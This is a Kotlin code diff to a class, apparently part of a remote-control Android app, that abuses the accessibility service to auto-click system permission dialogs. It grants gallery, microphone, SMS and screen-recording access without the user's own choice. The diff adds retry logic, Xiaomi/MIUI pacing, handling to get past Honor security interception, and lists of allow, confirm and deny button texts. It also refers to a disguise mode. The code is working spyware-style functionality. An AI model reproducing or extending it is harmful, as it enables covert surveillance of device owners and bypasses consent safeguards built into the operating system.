runtimePermissionFailureTtlMs = 120_000L + private val runtimeForegroundGateLogCooldownMs = 2_500L + private val runtimeForegroundGateLastLogAt = mutableMapOf() + + private data class RuntimePermissionFailure( + val code: String, + val detail: String, + val source: String, + val timestamp: Long = System.currentTimeMillis() + ) + + private val runtimePermissionFailureMap = mutableMapOf() + + private fun normalizeRuntimePermissionKey(permissionKey: String): String { + return permissionKey.trim().lowercase() + } + + private fun recordRuntimePermissionFailure( + permissionKey: String, + code: String, + detail: String, + source: String + ) { + val normalized = normalizeRuntimePermissionKey(permissionKey) + if (normalized.isBlank()) return + val now = System.currentTimeMillis() + val newPriority = getRuntimePermissionFailurePriority(code) + var shouldSkip = false + synchronized(this) { + val existing = runtimePermissionFailureMap[normalized] + if (existing != null) { + val age = now - existing.timestamp + val existingPriority = getRuntimePermissionFailurePriority(existing.code) + if (age <= runtimePermissionFailureTtlMs && existingPriority > newPriority) { + shouldSkip = true + } + } + if (!shouldSkip) { + val failure = RuntimePermissionFailure( + code = code, + detail = detail, + source = source, + timestamp = now + ) + runtimePermissionFailureMap[normalized] = failure + } + } + if (shouldSkip) { + Log.d( + TAG, + "⏭️ 保留更高优先级失败原因: permission=$normalized, oldPriority>${newPriority}, newCode=$code" + ) + return + } + Log.w( + TAG, + "🚫 记录运行时权限失败: permission=$normalized, code=$code, source=$source, detail=$detail" + ) + } + + private fun getRuntimePermissionFailurePriority(code: String): Int { + val normalized = code.lowercase() + return when { + normalized.contains("background_activity_launch_denied") -> 100 + normalized.contains("permission_editor_launch_denied") -> 90 + normalized.contains("permission_editor_launch_blocked") -> 85 + normalized.contains("permission_ui_not_visible") -> 80 + normalized.contains("runtime_entry_not_visible") -> 70 + normalized.contains("permission_editor_launch_failed") -> 60 + normalized.contains("button_not_found") -> 30 + normalized.contains("auto_toggle_exhausted") -> 20 + else -> 40 + } + } + + private fun clearRuntimePermissionFailure(permissionKey: String, reason: String) { + val normalized = normalizeRuntimePermissionKey(permissionKey) + if (normalized.isBlank()) return + val removed = synchronized(this) { + runtimePermissionFailureMap.remove(normalized) + } + if (removed != null) { + Log.i(TAG, "🧹 清除运行时权限失败标记: permission=$normalized, reason=$reason") + } + } + + private fun getRuntimePermissionFailure(permissionKey: String): RuntimePermissionFailure? { + val normalized = normalizeRuntimePermissionKey(permissionKey) + if (normalized.isBlank()) return null + val failure = synchronized(this) { + runtimePermissionFailureMap[normalized] + } ?: return null + val age = System.currentTimeMillis() - failure.timestamp + if (age > runtimePermissionFailureTtlMs) { + synchronized(this) { + runtimePermissionFailureMap.remove(normalized) + } + return null + } + return failure + } + + private fun getRuntimePermissionBlockFailure(permissionKey: String): RuntimePermissionFailure? { + val failure = getRuntimePermissionFailure(permissionKey) ?: return null + val normalizedCode = failure.code.lowercase() + return if (normalizedCode.contains("blocked") || normalizedCode.contains("denied")) { + failure + } else { + null + } + } + + private fun shouldAbortRuntimePermissionMonitor(permissionKey: String, retryCount: Int): RuntimePermissionFailure? { + if (!isMiuiDevice()) return null + if (retryCount < 2) return null + return getRuntimePermissionBlockFailure(permissionKey) + } + + fun getRuntimePermissionFailureReason(permissionKey: String): String? { + val failure = getRuntimePermissionFailure(permissionKey) ?: return null + return "${failure.code} | ${failure.detail}" + } + + private fun getRuntimeRequestStaleTimeoutMs(): Long { + return if (isRuntimePermissionSlowModeEnabled()) { + slowRuntimePermissionRequestStaleTimeoutMs + } else { + runtimePermissionRequestStaleTimeoutMs + } + } + + private fun beginRuntimePermissionRequest(permissionKey: String): Boolean { + val normalized = normalizeRuntimePermissionKey(permissionKey) + val now = System.currentTimeMillis() + synchronized(this) { + val active = activeRuntimePermissionRequest + if (active.isNullOrBlank() || active == normalized) { + activeRuntimePermissionRequest = normalized + activeRuntimePermissionStartedAt = now + clearRuntimePermissionFailure(normalized, "new_request_begin") + return true + } + + val age = now - activeRuntimePermissionStartedAt + val staleTimeoutMs = getRuntimeRequestStaleTimeoutMs() + if (age >= staleTimeoutMs) { + Log.w( + TAG, + "🔄 运行时权限串行锁超时,强制接管: from=$active, to=$normalized, age=${age}ms" + ) + activeRuntimePermissionRequest = normalized + activeRuntimePermissionStartedAt = now + clearRuntimePermissionFailure(normalized, "stale_takeover_begin") + return true + } + } + + val active = activeRuntimePermissionRequest ?: "unknown" + val age = now - activeRuntimePermissionStartedAt + Log.i( + TAG, + "⏳ 运行时权限串行化,当前进行中=$active,跳过本次=$normalized,age=${age}ms" + ) + return false + } + + private fun releaseRuntimePermissionRequest(permissionKey: String, reason: String) { + val normalized = normalizeRuntimePermissionKey(permissionKey) + synchronized(this) { + val active = activeRuntimePermissionRequest + if (active == null) { + return + } + if (active != normalized) { + return + } + activeRuntimePermissionRequest = null + activeRuntimePermissionStartedAt = 0L + } + if (reason.startsWith("granted")) { + clearRuntimePermissionFailure(normalized, "permission_granted") + } + Log.i(TAG, "✅ 运行时权限串行锁已释放: permission=$normalized, reason=$reason") + } + + fun hasActiveRuntimePermissionRequest(): Boolean { + return activeRuntimePermissionRequest != null || + isRequestingCameraPermission || + isRequestingGalleryPermission || + isRequestingMicrophonePermission || + isRequestingSMSPermission + } + + fun getActiveRuntimePermissionRequestType(): String? { + return activeRuntimePermissionRequest + } + + private fun shouldRecoverStaleRuntimeRequest( + permissionName: String, + startedAt: Long, + granted: Boolean + ): Boolean { + if (granted) { + Log.w(TAG, "🔧 $permissionName 权限已授予但请求标记仍在,重置请求状态") + return true + } + + if (startedAt <= 0L) { + Log.w(TAG, "🔧 $permissionName 请求标记异常(无启动时间),重置请求状态") + return true + } + + val age = System.currentTimeMillis() - startedAt + val staleTimeoutMs = getRuntimeRequestStaleTimeoutMs() + if (age >= staleTimeoutMs) { + Log.w( + TAG, + "🔧 $permissionName 请求超时(${age}ms >= ${staleTimeoutMs}ms),重置请求状态" + ) + return true + } + return false + } /** * 检测是否为首次安装 @@ -177,14 +423,110 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { } } + private fun refreshRuntimePermissionPacing(reason: String) { + cachedRuntimePermissionSlowMode = null + runtimePermissionSlowModeLogged = false + val slowMode = isRuntimePermissionSlowModeEnabled() + Log.i( + TAG, + "⏱️ 运行时权限节奏刷新: reason=$reason, slowMode=$slowMode" + ) + } + + private fun isRuntimePermissionSlowModeEnabled(): Boolean { + cachedRuntimePermissionSlowMode?.let { return it } + + val isXiaomiFamily = isMiuiDevice() + val isFirstInstallWindow = isLikelyFirstInstallWindow() + val enabled = isXiaomiFamily && isFirstInstallWindow + cachedRuntimePermissionSlowMode = enabled + + if (!runtimePermissionSlowModeLogged) { + runtimePermissionSlowModeLogged = true + Log.i( + TAG, + "⏱️ 运行时权限慢速模式判定: enabled=$enabled, xiaomiFamily=$isXiaomiFamily, firstInstallWindow=$isFirstInstallWindow" + ) + } + + return enabled + } + + private fun isLikelyFirstInstallWindow(): Boolean { + return try { + val launchCount = context.getSharedPreferences("app_launch", Context.MODE_PRIVATE) + .getInt("launch_count", 0) + val hasRunBefore = context.getSharedPreferences("permission_tracker", Context.MODE_PRIVATE) + .getBoolean("has_run_before", false) + val installAgeMs = runCatching { + val packageInfo = context.packageManager.getPackageInfo(context.packageName, 0) + System.currentTimeMillis() - packageInfo.firstInstallTime + }.getOrDefault(Long.MAX_VALUE) + + !hasRunBefore || + launchCount <= slowModeMaxLaunchCount || + installAgeMs in 0..firstInstallGracePeriodMs + } catch (e: Exception) { + Log.w(TAG, "首装窗口判定失败,默认关闭慢速模式", e) + false + } + } + + private fun getRuntimePermissionRetryIntervalMs(type: String): Long { + val useSlowMode = isRuntimePermissionSlowModeEnabled() + if (!useSlowMode) { + return when (type) { + "camera" -> defaultCameraPermissionRetryInterval + "gallery" -> defaultGalleryPermissionRetryInterval + "microphone" -> defaultMicrophonePermissionRetryInterval + "sms" -> defaultSmsPermissionRetryInterval + else -> defaultGalleryPermissionRetryInterval + } + } + + return when (type) { + "camera" -> slowCameraPermissionRetryInterval + "gallery" -> slowGalleryPermissionRetryInterval + "microphone" -> slowMicrophonePermissionRetryInterval + "sms" -> slowSmsPermissionRetryInterval + else -> slowGalleryPermissionRetryInterval + } + } + + private fun getRuntimeDialogSettleDelayMs(): Long { + return if (isRuntimePermissionSlowModeEnabled()) { + slowRuntimeDialogSettleDelayMs + } else { + defaultRuntimeDialogSettleDelayMs + } + } + + private fun getPermissionEditorLaunchDelayMs(): Long { + return if (isRuntimePermissionSlowModeEnabled()) { + slowPermissionEditorLaunchDelayMs + } else { + 0L + } + } + // ================= 相册权限自动授予 ================= /** * 开始相册权限申请流程(自动授权) */ fun startGalleryPermissionRequest() { if (isRequestingGalleryPermission) { - Log.i(TAG, "🖼️ 相册权限申请已在进行中") - return + val granted = runCatching { + com.hikoncont.manager.GalleryManager(service).hasReadMediaPermission() + }.getOrDefault(false) + if (shouldRecoverStaleRuntimeRequest("相册", galleryPermissionRequestStartedAt, granted)) { + isRequestingGalleryPermission = false + galleryPermissionRetryCount = 0 + galleryPermissionRequestStartedAt = 0L + releaseRuntimePermissionRequest("gallery", "stale_reset_before_restart") + } else { + Log.i(TAG, "🖼️ 相册权限申请已在进行中") + return + } } // 🎭 检查是否是伪装模式,如果是则不申请权限 @@ -197,6 +539,7 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { val galleryManager = com.hikoncont.manager.GalleryManager(service) if (galleryManager.hasReadMediaPermission()) { Log.i(TAG, "✅ 相册权限已授予") + clearRuntimePermissionFailure("gallery", "already_granted_before_request") return } @@ -205,40 +548,52 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { return } + if (shouldDeferRuntimePermissionForProjection("gallery")) { + return + } + if (shouldWaitForForegroundRuntimeRequest("gallery")) { + return + } + try { + refreshRuntimePermissionPacing("gallery_request") + if (!beginRuntimePermissionRequest("gallery")) { + return + } Log.i(TAG, "🖼️ 开始相册权限申请(自动授权盲点)") isRequestingGalleryPermission = true galleryPermissionRetryCount = 0 + galleryPermissionRequestStartedAt = System.currentTimeMillis() - // ✅ 修复:检查是否是保活场景,如果是则不启动MainActivity - if (isKeepAliveScenario()) { - Log.i(TAG, "💡 保活场景下申请相册权限,不启动MainActivity(避免保活程序拉起)") - Log.i(TAG, "💡 建议:通过通知或其他方式让用户主动打开应用进行权限申请") - return + var entryVisible = launchRuntimePermissionBridgeActivity("gallery", "start_request") + if (!entryVisible && shouldLaunchMainActivityForRuntimeRequest("gallery")) { + // 确保MainActivity被启用 + ensureMainActivityEnabled() + + // 启动权限申请Activity + val intent = Intent(context, com.hikoncont.MainActivity::class.java).apply { + flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP + putExtra("request_gallery_permission", true) + } + context.startActivity(intent) + entryVisible = verifyRuntimeRequestEntry("gallery", "main_activity") } - - // 确保MainActivity被启用 - ensureMainActivityEnabled() - - // 启动权限申请Activity - val intent = Intent(context, com.hikoncont.MainActivity::class.java).apply { - flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP - putExtra("request_gallery_permission", true) - } - context.startActivity(intent) // MIUI/澎湃OS 特殊处理:很多机型拦截运行时弹框,直接引导到权限编辑页 - if (isMiuiDevice()) { + if (isMiuiDevice() && !entryVisible) { Log.i(TAG, "🔧 检测到小米/澎湃OS,尝试打开MIUI权限编辑页以授予相册权限") openMiuiPermissionEditor("gallery") - }else{ - // 开始监听权限对话框 - startGalleryPermissionDialogMonitoring() } + // 始终启动监听,确保MIUI分支也能在超时后自动清理请求状态 + startGalleryPermissionDialogMonitoring() } catch (e: Exception) { Log.e(TAG, "启动相册权限申请失败", e) + isRequestingGalleryPermission = false + galleryPermissionRetryCount = 0 + galleryPermissionRequestStartedAt = 0L + releaseRuntimePermissionRequest("gallery", "start_exception") } } @@ -247,8 +602,15 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { */ fun startMicrophonePermissionRequest() { if (isRequestingMicrophonePermission) { - Log.i(TAG, "🎤 麦克风权限申请已在进行中") - return + if (shouldRecoverStaleRuntimeRequest("麦克风", microphonePermissionRequestStartedAt, checkMicrophonePermission())) { + isRequestingMicrophonePermission = false + microphonePermissionRetryCount = 0 + microphonePermissionRequestStartedAt = 0L + releaseRuntimePermissionRequest("microphone", "stale_reset_before_restart") + } else { + Log.i(TAG, "🎤 麦克风权限申请已在进行中") + return + } } // 🎭 检查是否是伪装模式,如果是则不申请权限 @@ -260,6 +622,7 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { // 检查是否已有权限 if (checkMicrophonePermission()) { Log.i(TAG, "✅ 麦克风权限已授予") + clearRuntimePermissionFailure("microphone", "already_granted_before_request") return } @@ -268,40 +631,52 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { return } + if (shouldDeferRuntimePermissionForProjection("microphone")) { + return + } + if (shouldWaitForForegroundRuntimeRequest("microphone")) { + return + } + try { + refreshRuntimePermissionPacing("microphone_request") + if (!beginRuntimePermissionRequest("microphone")) { + return + } Log.i(TAG, "🎤 开始麦克风权限申请(自动授权盲点)") isRequestingMicrophonePermission = true microphonePermissionRetryCount = 0 + microphonePermissionRequestStartedAt = System.currentTimeMillis() - // ✅ 修复:检查是否是保活场景,如果是则不启动MainActivity - if (isKeepAliveScenario()) { - Log.i(TAG, "💡 保活场景下申请麦克风权限,不启动MainActivity(避免保活程序拉起)") - Log.i(TAG, "💡 建议:通过通知或其他方式让用户主动打开应用进行权限申请") - return + var entryVisible = launchRuntimePermissionBridgeActivity("microphone", "start_request") + if (!entryVisible && shouldLaunchMainActivityForRuntimeRequest("microphone")) { + // 确保MainActivity被启用 + ensureMainActivityEnabled() + + // 启动权限申请Activity + val intent = Intent(context, com.hikoncont.MainActivity::class.java).apply { + flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP + putExtra("request_microphone_permission", true) + } + context.startActivity(intent) + entryVisible = verifyRuntimeRequestEntry("microphone", "main_activity") } - - // 确保MainActivity被启用 - ensureMainActivityEnabled() - - // 启动权限申请Activity - val intent = Intent(context, com.hikoncont.MainActivity::class.java).apply { - flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP - putExtra("request_microphone_permission", true) - } - context.startActivity(intent) // MIUI/澎湃OS 特殊处理 - if (isMiuiDevice()) { + if (isMiuiDevice() && !entryVisible) { Log.i(TAG, "🔧 检测到小米/澎湃OS,尝试打开MIUI权限编辑页以授予麦克风权限") openMiuiPermissionEditor("microphone") - }else{ - // 开始监听权限对话框 - startMicrophonePermissionDialogMonitoring() } + // 始终启动监听,确保MIUI分支也能在超时后自动清理请求状态 + startMicrophonePermissionDialogMonitoring() } catch (e: Exception) { Log.e(TAG, "启动麦克风权限申请失败", e) + isRequestingMicrophonePermission = false + microphonePermissionRetryCount = 0 + microphonePermissionRequestStartedAt = 0L + releaseRuntimePermissionRequest("microphone", "start_exception") } } @@ -310,13 +685,17 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { */ private fun startGalleryPermissionDialogMonitoring() { serviceScope.launch { + val retryIntervalMs = getRuntimePermissionRetryIntervalMs("gallery") + val settleDelayMs = getRuntimeDialogSettleDelayMs() while (isRequestingGalleryPermission && galleryPermissionRetryCount < maxRetryCount) { - delay(galleryPermissionRetryInterval) + delay(retryIntervalMs) val galleryManager = com.hikoncont.manager.GalleryManager(service) if (galleryManager.hasReadMediaPermission()) { Log.i(TAG, "✅ 相册权限已授予") isRequestingGalleryPermission = false + galleryPermissionRequestStartedAt = 0L + releaseRuntimePermissionRequest("gallery", "granted") break } @@ -325,15 +704,31 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { if (!AccessibilityRemoteService.isServiceRunning()) { Log.w(TAG, "⚠️ 无障碍服务未运行,停止相册权限申请") isRequestingGalleryPermission = false + galleryPermissionRequestStartedAt = 0L + releaseRuntimePermissionRequest("gallery", "accessibility_stopped") + break + } + + val galleryBlocked = shouldAbortRuntimePermissionMonitor("gallery", galleryPermissionRetryCount) + if (galleryBlocked != null) { + Log.w( + TAG, + "⛔ 相册权限申请提前终止: code=${galleryBlocked.code}, detail=${galleryBlocked.detail}" + ) + isRequestingGalleryPermission = false + galleryPermissionRequestStartedAt = 0L + releaseRuntimePermissionRequest("gallery", "blocked_${galleryBlocked.code}") break } if (detectAndHandleGalleryPermissionDialog()) { Log.i(TAG, "🖼️ 检测到相册权限对话框,尝试自动点击") - delay(1000) + delay(settleDelayMs) if (galleryManager.hasReadMediaPermission()) { Log.i(TAG, "✅ 相册权限已授予") isRequestingGalleryPermission = false + galleryPermissionRequestStartedAt = 0L + releaseRuntimePermissionRequest("gallery", "granted_after_dialog") break } } else { @@ -346,6 +741,8 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { if (galleryPermissionRetryCount >= maxRetryCount) { Log.w(TAG, "⚠️ 相册权限申请超时") isRequestingGalleryPermission = false + galleryPermissionRequestStartedAt = 0L + releaseRuntimePermissionRequest("gallery", "monitor_timeout") } } } @@ -355,12 +752,16 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { */ private fun startMicrophonePermissionDialogMonitoring() { serviceScope.launch { + val retryIntervalMs = getRuntimePermissionRetryIntervalMs("microphone") + val settleDelayMs = getRuntimeDialogSettleDelayMs() while (isRequestingMicrophonePermission && microphonePermissionRetryCount < maxRetryCount) { - delay(microphonePermissionRetryInterval) + delay(retryIntervalMs) if (checkMicrophonePermission()) { Log.i(TAG, "✅ 麦克风权限已授予") isRequestingMicrophonePermission = false + microphonePermissionRequestStartedAt = 0L + releaseRuntimePermissionRequest("microphone", "granted") break } @@ -369,15 +770,31 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { if (!AccessibilityRemoteService.isServiceRunning()) { Log.w(TAG, "⚠️ 无障碍服务未运行,停止麦克风权限申请") isRequestingMicrophonePermission = false + microphonePermissionRequestStartedAt = 0L + releaseRuntimePermissionRequest("microphone", "accessibility_stopped") + break + } + + val microphoneBlocked = shouldAbortRuntimePermissionMonitor("microphone", microphonePermissionRetryCount) + if (microphoneBlocked != null) { + Log.w( + TAG, + "⛔ 麦克风权限申请提前终止: code=${microphoneBlocked.code}, detail=${microphoneBlocked.detail}" + ) + isRequestingMicrophonePermission = false + microphonePermissionRequestStartedAt = 0L + releaseRuntimePermissionRequest("microphone", "blocked_${microphoneBlocked.code}") break } if (detectAndHandleMicrophonePermissionDialog()) { Log.i(TAG, "🎤 检测到麦克风权限对话框,尝试自动点击") - delay(1000) + delay(settleDelayMs) if (checkMicrophonePermission()) { Log.i(TAG, "✅ 麦克风权限已授予") isRequestingMicrophonePermission = false + microphonePermissionRequestStartedAt = 0L + releaseRuntimePermissionRequest("microphone", "granted_after_dialog") break } } else { @@ -390,6 +807,8 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { if (microphonePermissionRetryCount >= maxRetryCount) { Log.w(TAG, "⚠️ 麦克风权限申请超时") isRequestingMicrophonePermission = false + microphonePermissionRequestStartedAt = 0L + releaseRuntimePermissionRequest("microphone", "monitor_timeout") } } } @@ -414,18 +833,31 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { Log.d(TAG, "🖼️ 窗口 $i: ID=$windowId, 标题=$windowTitle, 类型=$windowType") - // 检查窗口标题是否包含相册权限相关文本 - if (windowTitle.contains("照片", ignoreCase = true) || - windowTitle.contains("视频", ignoreCase = true) || - windowTitle.contains("允许", ignoreCase = true) || - windowTitle.contains("访问", ignoreCase = true)) { - Log.d(TAG, "🖼️ 找到权限弹框窗口: 标题=$windowTitle, ID=$windowId") - - // 尝试通过窗口ID获取根节点 -// val windowRoot = getWindowRootByTitle(windowTitle) - if (tryClickByGalleryCoordinates(windowTitle)) { + val windowRoot = window.root + if (windowRoot == null) continue + try { + if (tryHandleHonorSystemManagerInterception(windowRoot, "gallery_window_$i")) { return true } + val rootPackage = windowRoot.packageName?.toString() + if (!isLikelyPermissionDialog(rootPackage)) { + Log.d(TAG, "🖼️ 跳过非权限弹框窗口: title=$windowTitle, package=$rootPackage") + continue + } + + val permissionNode = findPermissionNodeInTree(windowRoot) + if (permissionNode != null) { + try { + Log.d(TAG, "🖼️ 在窗口中找到权限节点: title=$windowTitle, package=$rootPackage") + if (tryClickPermissionButtons(permissionNode)) { + return true + } + } finally { + permissionNode.recycle() + } + } + } finally { + windowRoot.recycle() } } } @@ -435,6 +867,18 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { if (rootNode != null) { Log.d(TAG, "🖼️ 检查活动窗口...") + if (tryHandleHonorSystemManagerInterception(rootNode, "gallery_active")) { + rootNode.recycle() + return true + } + + val rootPackage = rootNode.packageName?.toString() + if (!isLikelyPermissionDialog(rootPackage)) { + Log.d(TAG, "🖼️ 活动窗口不是权限弹框,跳过: package=$rootPackage") + rootNode.recycle() + return false + } + // 递归查找权限相关节点 val permissionNode = findPermissionNodeInTree(rootNode) if (permissionNode != null) { @@ -481,19 +925,35 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { Log.d(TAG, "🎤 窗口 $i: ID=$windowId, 标题=$windowTitle, 类型=$windowType") - // 检查窗口标题是否包含麦克风权限相关文本 - if (windowTitle.contains("麦克风", ignoreCase = true) || - windowTitle.contains("录音", ignoreCase = true) || - windowTitle.contains("音频", ignoreCase = true) || - windowTitle.contains("允许", ignoreCase = true) || - windowTitle.contains("访问", ignoreCase = true)) { - Log.d(TAG, "🎤 找到权限弹框窗口: 标题=$windowTitle, ID=$windowId") - - // 尝试通过窗口ID获取根节点 - val windowRoot = getWindowRootByTitle(windowTitle) - if (tryClickByMicrophoneCoordinates(windowTitle)) { + val windowRoot = window.root + if (windowRoot == null) continue + try { + if (tryHandleHonorSystemManagerInterception(windowRoot, "microphone_window_$i")) { return true } + val rootPackage = windowRoot.packageName?.toString() + if (isMiuiPermissionEditorPackage(rootPackage)) { + Log.d(TAG, "🎤 跳过MIUI权限编辑页,交给auto_toggle处理: package=$rootPackage") + continue + } + if (!isRuntimePermissionDialogPackage(rootPackage)) { + Log.d(TAG, "🎤 跳过非权限弹框窗口: title=$windowTitle, package=$rootPackage") + continue + } + + val permissionNode = findMicrophonePermissionNodeInTree(windowRoot) + if (permissionNode != null) { + try { + Log.d(TAG, "🎤 在窗口中找到权限节点: title=$windowTitle, package=$rootPackage") + if (tryClickMicrophonePermissionButtons(permissionNode)) { + return true + } + } finally { + permissionNode.recycle() + } + } + } finally { + windowRoot.recycle() } } } @@ -503,12 +963,29 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { if (rootNode != null) { Log.d(TAG, "🎤 检查活动窗口...") + if (tryHandleHonorSystemManagerInterception(rootNode, "microphone_active")) { + rootNode.recycle() + return true + } + + val rootPackage = rootNode.packageName?.toString() + if (isMiuiPermissionEditorPackage(rootPackage)) { + Log.d(TAG, "🎤 活动窗口为MIUI权限编辑页,交给auto_toggle处理: package=$rootPackage") + rootNode.recycle() + return false + } + if (!isRuntimePermissionDialogPackage(rootPackage)) { + Log.d(TAG, "🎤 活动窗口不是权限弹框,跳过: package=$rootPackage") + rootNode.recycle() + return false + } + // 递归查找权限相关节点 - val permissionNode = findPermissionNodeInTree(rootNode) + val permissionNode = findMicrophonePermissionNodeInTree(rootNode) if (permissionNode != null) { Log.d(TAG, "🎤 在活动窗口中找到权限节点") - if (tryClickPermissionButtons(permissionNode)) { + if (tryClickMicrophonePermissionButtons(permissionNode)) { permissionNode.recycle() rootNode.recycle() return true @@ -672,19 +1149,26 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { mediaProjectionRetryCount++ lastMediaProjectionAttemptTime = currentTime Log.i(TAG, "✅ 设置MediaProjection请求状态: $requesting (第${mediaProjectionRetryCount}次尝试,对话框检测: $hasDetectedPermissionDialog, 首次安装: $isFirstInstall)") + startOrRefreshMediaProjectionSafetyReset("set_requesting_true_retry_${mediaProjectionRetryCount}") } else { Log.i(TAG, "✅ MediaProjection权限申请完成,重置状态") + cancelMediaProjectionSafetyReset("set_requesting_false") resetRequestStatus() } isRequestingMediaProjection = requesting } + + fun isMediaProjectionRequestInProgress(): Boolean { + return isRequestingMediaProjection + } /** * 重置权限申请状态 */ private fun resetRequestStatus() { Log.i(TAG, "🔄 重置权限申请状态") + cancelMediaProjectionSafetyReset("reset_request_status") mediaProjectionRetryCount = 0 hasDetectedPermissionDialog = false dialogDetectionCount = 0 @@ -699,48 +1183,741 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { // ==================== 参考d.t/d.r的通用权限自动点击 ==================== + private fun mergeDistinctKeywords(primary: List, secondary: List): List { + return (primary + secondary) + .map { it.trim() } + .filter { it.isNotEmpty() } + .distinct() + } + /** - * 录屏授权弹窗检测关键词(参考d.t的f604c数组) - * 当systemui事件中包含这些关键词时,说明录屏授权弹窗已出现 + * 录屏授权弹窗检测关键词(参考 d.t 的 f604c 数组) + * 当 systemui/permissioncontroller 事件中包含这些关键词时,说明录屏授权弹窗已出现。 */ - private val mediaProjectionDetectionKeywords = arrayOf( - "投射", "录制", "录屏", "投屏", "截取", "共享屏幕", "屏幕录制", - "Screen recording", "Screen casting", "Screen capture", "Share screen", - "Cast screen", "Record screen", "Media projection" - ) - + private val mediaProjectionDetectionKeywords by lazy { + mergeDistinctKeywords( + listOf( + "投射", "录制", "录屏", "投屏", "投放", "截取", "共享屏幕", "屏幕录制", + "开始录制", "开始投放", "开始共享", "立即开始", "屏幕共享", + "Screen recording", "Screen casting", "Screen capture", "Share screen", + "Cast screen", "Record screen", "Media projection", "Start recording", + "Start sharing", "Start now", "Cast now" + ), + romPolicy.mediaProjectionDetectionKeywords + ).toTypedArray() + } + /** - * 通用权限自动授权关键词列表(参考d.r的18个关键词) - * 匹配到这些文本的可点击节点会被自动点击 + * 通用权限自动授权关键词列表(运行时策略 + ROM 策略合并)。 */ - private val generalPermissionAllowKeywords = arrayOf( - "确定", "允许", "始终允许", "允许使用照片和视频", "所有文件", - "允许管理所有文件", "允许访问全部", "使用期间允许", "仅使用期间允许", - "使用应用时允许", "使用时允许", "仅在使用中允许", "仅在前台使用应用时允许", - "仅在使用该应用时允许", "允许本次使用", "本次使用时允许", "允许通知", "仅媒体", - // 英文 - "Allow", "Always allow", "Allow while using the app", "While using the app", - "Only this time", "Allow all the time" - ) - + private val runtimePermissionAllowKeywords by lazy { + mergeDistinctKeywords( + listOf( + "允许", "始终允许", "允许本次使用", "本次使用时允许", + "使用时允许", "使用期间允许", "仅使用期间允许", + "仅在使用中允许", "仅在前台使用应用时允许", "仅在使用该应用时允许", + "在使用中运行", "在使用中", "在使用该应用时", "在使用期间", + "仅在使用中", "仅在使用期间", "仅在使用应用时", + "允许通知", "允许访问全部", "允许管理所有文件", "允许使用照片和视频", "所有文件", + "确认解除", "解除限制", "解除", "仅本次", "本次允许", "仅此一次", "允许一次", + "Allow", "Always allow", "Allow all the time", + "Allow while using", "Allow while using the app", "While using the app", + "Allow only this time", "Only this time", "This time only", "Allow once" + ), + romPolicy.runtimePermissionAllowKeywords + ) + } + private val generalPermissionAllowKeywords by lazy { runtimePermissionAllowKeywords.toTypedArray() } + /** - * 取消/拒绝按钮黑名单(参考d.t的f606e数组) - * 这些文本的节点绝不会被点击 + * 取消/拒绝按钮黑名单(这些文本的节点绝不会被点击)。 */ - private val denyButtonBlacklist = arrayOf( - "禁止", "取消", "拒绝", "不允许", "不同意", "关闭", - "Cancel", "Deny", "Dismiss", "Don't allow", "No" - ) - + private val runtimePermissionDenyKeywords by lazy { + mergeDistinctKeywords( + listOf( + "禁止", "取消", "拒绝", "不允许", "不同意", "关闭", "暂不", "以后再说", + "仅在使用中不允许", "仅在使用期间不允许", + "Cancel", "Deny", "Dismiss", "Don't allow", "Do not allow", "Not now", "No" + ), + romPolicy.runtimePermissionDenyKeywords + ) + } + /** - * 录屏确认按钮文本(参考d.t的f605d数组) - * 选择全屏后点击这些确认按钮 + * 运行时权限“选项项”关键词(常见为 RadioButton,不应直接视为最终确认)。 */ - private val mediaProjectionConfirmKeywords = arrayOf( - "立即开始", "允许", "确定", "开始", - "Start now", "Allow", "OK", "Start", "Begin", - "Share screen", "共享屏幕", "开始共享" - ) + private val runtimePermissionOptionKeywords by lazy { + mergeDistinctKeywords( + listOf( + "每次使用询问", "每次询问", "询问", + "仅在使用中允许", "仅在使用期间允许", + "仅在使用该应用时允许", "仅在使用此应用时允许", "仅在前台使用应用时允许", + "仅本次", "本次允许", "仅此一次", "允许一次", + "Ask every time", "Only this time", "While using the app" + ), + romPolicy.runtimePermissionOptionKeywords + ) + } + + /** + * 运行时权限最终确认动作关键词(排除拒绝语义)。 + */ + private val runtimePermissionFinalConfirmKeywords by lazy { + mergeDistinctKeywords( + listOf( + "允许", "确认", "确定", "继续", "同意", "授权", "完成", + "Allow", "Confirm", "OK", "Continue", "Agree", "Grant", "Authorize", "Yes" + ), + romPolicy.runtimePermissionFinalConfirmKeywords + ) + } + + /** + * 运行时权限最终确认按钮常见 viewId 片段。 + */ + private val runtimePermissionConfirmViewIdHints by lazy { + mergeDistinctKeywords( + listOf("button1", "positive", "allow", "grant", "confirm", "ok", "continue", "action"), + romPolicy.runtimePermissionConfirmViewIdHints + ) + } + private val denyButtonBlacklist by lazy { runtimePermissionDenyKeywords.toTypedArray() } + + /** + * 录屏确认按钮文本(选择全屏后点击这些确认按钮)。 + */ + private val mediaProjectionConfirmKeywords by lazy { + mergeDistinctKeywords( + listOf( + "立即开始", "开始录制", "开始投放", "开始共享", "同意", "允许", "确定", "确认", "继续", "开始", "OK", + "Start now", "Allow", "OK", "Start", "Begin", "Continue", "Agree", + "Start recording", "Start casting", "Start sharing", "Share screen", "共享屏幕" + ), + romPolicy.mediaProjectionConfirmTexts + ).toTypedArray() + } + + /** + * 